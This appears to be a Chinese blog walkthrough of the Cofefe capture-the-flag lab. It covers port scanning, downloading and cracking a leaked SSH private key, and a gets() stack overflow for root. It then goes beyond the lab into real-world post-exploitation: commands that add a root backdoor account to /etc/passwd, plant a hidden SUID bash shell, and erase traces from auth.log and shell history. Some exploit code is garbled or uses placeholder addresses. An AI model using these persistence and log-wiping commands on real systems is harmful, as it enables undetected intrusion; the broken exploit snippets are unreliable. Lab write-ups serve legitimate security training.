Cofefe靶场 SSH私钥破解与缓冲区溢出提权:3个Flag获取完整路径解析

发布时间:2026/10/20 0:37:34

Cofefe靶场 SSH私钥破解与缓冲区溢出提权:3个Flag获取完整路径解析 Cofefe靶场渗透实战SSH私钥破解与缓冲区溢出提权深度解析1. 靶场环境搭建与信息收集在开始渗透之前确保你的Kali攻击机和Cofefe靶机处于同一网络环境建议使用NAT模式。首先我们需要进行基础网络配置检查ifconfig eth0 | grep inet addr # Kali查看本机IP nmap -sn 192.168.5.0/24 # 扫描同网段存活主机通过扫描我们发现靶机IP为192.168.5.163。接下来进行全面的端口扫描和服务识别nmap -sS -sV -A -p- 192.168.5.163 -oN nmap_scan.txt扫描结果显示三个开放端口22/tcp : OpenSSH 7.9p180/tcp : nginx 1.14.231337/tcp: Apache httpd 2.4.29关键发现31337端口的web服务存在敏感目录泄露/.bash_history /.bashrc /.profile /.ssh/ /robots.txt2. SSH私钥获取与破解2.1 敏感文件分析访问/.ssh/目录发现三个关键文件id_rsa : SSH私钥加密id_rsa.pub : SSH公钥authorized_keys : 授权密钥文件使用wget下载私钥文件wget http://192.168.5.163:31337/.ssh/id_rsa -O cofefe_id_rsa2.2 私钥密码破解加密的SSH私钥需要先转换为John可识别的hash格式ssh2john cofefe_id_rsa cofefe_hash john --wordlist/usr/share/wordlists/rockyou.txt cofefe_hash破解结果密码为starwars2.3 SSH免密登录修改私钥权限并登录chmod 600 cofefe_id_rsa ssh -i cofefe_id_rsa simon192.168.5.163登录后执行基础信息收集whoami # 当前用户 id # 用户权限 ls -la / # 根目录查看 find / -user simon -type f 2/dev/null # 用户文件检索3. 缓冲区溢出漏洞分析与利用3.1 漏洞代码审计在用户目录发现关键文件read_message.c分析其源码#include stdio.h #include string.h void read_message() { char buf[20]; printf(Enter your name: ); gets(buf); // 危险函数无边界检查 if(strncmp(buf, simon, 5) 0) { printf(Hello %s\n, buf); } } int main() { read_message(); return 0; }漏洞点分析gets()函数未做输入长度限制buf数组仅20字节空间前5字符匹配simon即可通过验证3.2 漏洞利用开发构造payload结构[20字节填充] [返回地址] [shellcode]使用Python生成攻击载荷import struct buf bsimon # 通过验证的前5字节 buf bA*15 # 填充剩余15字节 buf struct.pack(I, 0xdeadbeef) # 覆盖返回地址 buf b\x90*50 shellcode # NOP雪橇shellcode print(buf)3.3 本地编译与测试首先在靶机编译程序gcc read_message.c -o read_message -fno-stack-protector -z execstack然后执行漏洞利用(python -c print simonAAAABBBBCCCC\xef\xbe\xad\xde...shellcode...; cat) | ./read_message成功获取root shell后可读取所有flagcat /root/flag3.txt cat /home/simon/flag1.txt cat /var/www/flag2.txt4. 渗透路径全流程总结完整攻击链如下表所示阶段技术手段关键命令/操作获取权限信息收集Nmap扫描nmap -sS -A -p- 靶机IP无Web目录爆破Dirb扫描dirb http://靶机IP:31337无SSH私钥获取敏感文件泄露下载/.ssh/id_rsa无私钥密码破解John暴力破解ssh2johnjohn无SSH登录私钥认证ssh -i id_rsa simon靶机simon用户本地提权缓冲区溢出构造恶意输入覆盖EIProot权限防御建议避免在web目录存放敏感文件使用ssh-keygen -o -a 100生成强密码保护的密钥替换不安全的gets()函数为fgets()启用ASLR和栈保护编译选项5. 扩展思考与技巧5.1 自动化漏洞利用使用Metasploit框架快速生成漏洞利用模块class MetasploitModule Msf::Exploit::Local def exploit payload simon A*15 [target.ret].pack(V) payload.encoded exec_program /tmp/read_message File.write(exec_program, payload) system(chmod x #{exec_program}) system(#{exec_program}) end end5.2 权限维持技巧获取root后建立持久化后门# 添加root后门账户 echo backdoor:$(openssl passwd -1 password):0:0:root:/root:/bin/bash /etc/passwd # 设置SUID shell cp /bin/bash /tmp/.rootshell chmod 4755 /tmp/.rootshell5.3 日志清理方法清除相关日志痕迹# SSH登录记录 sed -i /simon/d /var/log/auth.log # 命令历史清理 echo ~/.bash_history history -c
延伸阅读

更多相关文章

2026/10/18 17:22:36

AI企业算力成本优化:从模型剪枝到多云部署实战策略

Anthropic 2026年算力支出达薪酬2.3倍:AI企业成本结构深度解析与应对策略在AI技术快速发展的今天,企业面临的最大挑战之一就是如何平衡技术投入与商业回报。最近Anthropic公布的预测数据显示,到2026年,AI工程师的算力支出可能达到…

2026/10/18 19:43:03

《玄空秘旨》山形水势解析:3类‘非正配’格局的现代环境应用启示

《玄空秘旨》空间能量转译:3类非标准格局在现代环境设计中的量化应用 当我们站在上海陆家嘴环形天桥俯瞰建筑群时,那些错落有致的摩天大楼形成的天际线,与黄浦江的蜿蜒曲线构成了奇妙的互动关系。这种现代都市中无意识形成的空间韵律&#xf…

2026/10/18 21:27:46

AI视频生成工具实战:从环境配置到批量生成全流程指南

这类 AI 视频生成工具,最值得先看的不是它能做出多炫酷的效果,而是它能不能在普通电脑上稳定跑起来,以及新手第一次用的时候,到底该从哪里下手。 “巨人假睫毛长啥样?”这个标题,其实点出了一个很实际的问…

2026/10/19 23:50:08

DeskcommCRM实战:轻量级客户管理与销售跟进全流程落地指南

1. 项目概述:DeskcommCRM 到底是什么,以及为什么值得关注这两年市面上叫 CRM 的产品多得数不过来,但绝大多数都陷入了一个怪圈:功能越做越重,权限越加越细,你要是只为了管好手头几百个客户,得先…

2026/10/19 23:50:08

以沟通为核心的轻量级CRM系统设计与实践

一个叫 DeskcommCRM 的项目,听起来有点像某个内部系统的代号,但实际上它代表了一类特别值得聊的东西:以“沟通”为核心的客户关系管理工具。我一开始接触这个项目名的时候,第一反应是“Deskcomm”可能是 Desk Communication 的缩写…

2026/10/19 23:40:02

Kafka全链路性能调优:吞吐量与延迟的实战权衡

前阵子业务告警群里又炸了——消费延迟从平时的几百毫秒一路飙到分钟级,P99 延迟曲线在监控面板上直接拉成一条陡坡。接手这套 Kafka 系统两年,类似的戏码每隔一阵就重演一次。与其每次都临时救火,不如把全链路参数优化这件事系统捋一遍。这篇…

2026/10/19 23:40:02

ZXing.Net 0.16.8.0 条码识别实战:从解码链路到性能调优

简介:ZXing.Net.0.16.8.0 是面向 C# 与 Unity 开发者的开源条码处理库,基于 Zebra Crossing 项目,可在 .NET 框架与 Unity 引擎中实现 QR 码、Aztec、Code 128、EAN 等多种条码的读取与生成。开发者只需调用少量 API 即可为桌面应用、移动端或…

2026/10/19 23:40:02

从线程池失控到全局限流:高并发系统稳定性实战指南

1. 并发失控的第一现场:线程池是怎么被击穿的先说一个我实际排查过的案例场景。某公司核心交易链路的订单服务,平时性能表现很稳定,高峰期单机支撑上千QPS没有任何压力。但一次大促活动中,下游的库存服务因为数据库连接池被打满&a…

2026/10/19 23:40:02

STC单片机范例程序实战指南:从点灯到多外设工程搭建

简介:这是一份面向嵌入式初学者与单片机开发者的STC单片机C语言范例程序合集,围绕ADC采样、串口通信、EEPROM读写、ISP在系统编程、时钟中断、端口测试及优化编程思想等核心功能展开,适合用于课程实验、自学练手与项目参考。资源包共612个文件…

2026/10/19 18:06:35

金融AI落地指南:从调研报告到技术选型与工程实践

简介:这份PDF报告聚焦2025年金融服务业中国AI现状与趋势,面向金融科技从业者、AI战略规划人员及关注行业数字化转型的研究者,帮助读者把握生成式AI在银行、支付、交易等场景中的落地路径与投资方向。资源包内含1个PDF文件,大小约1…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑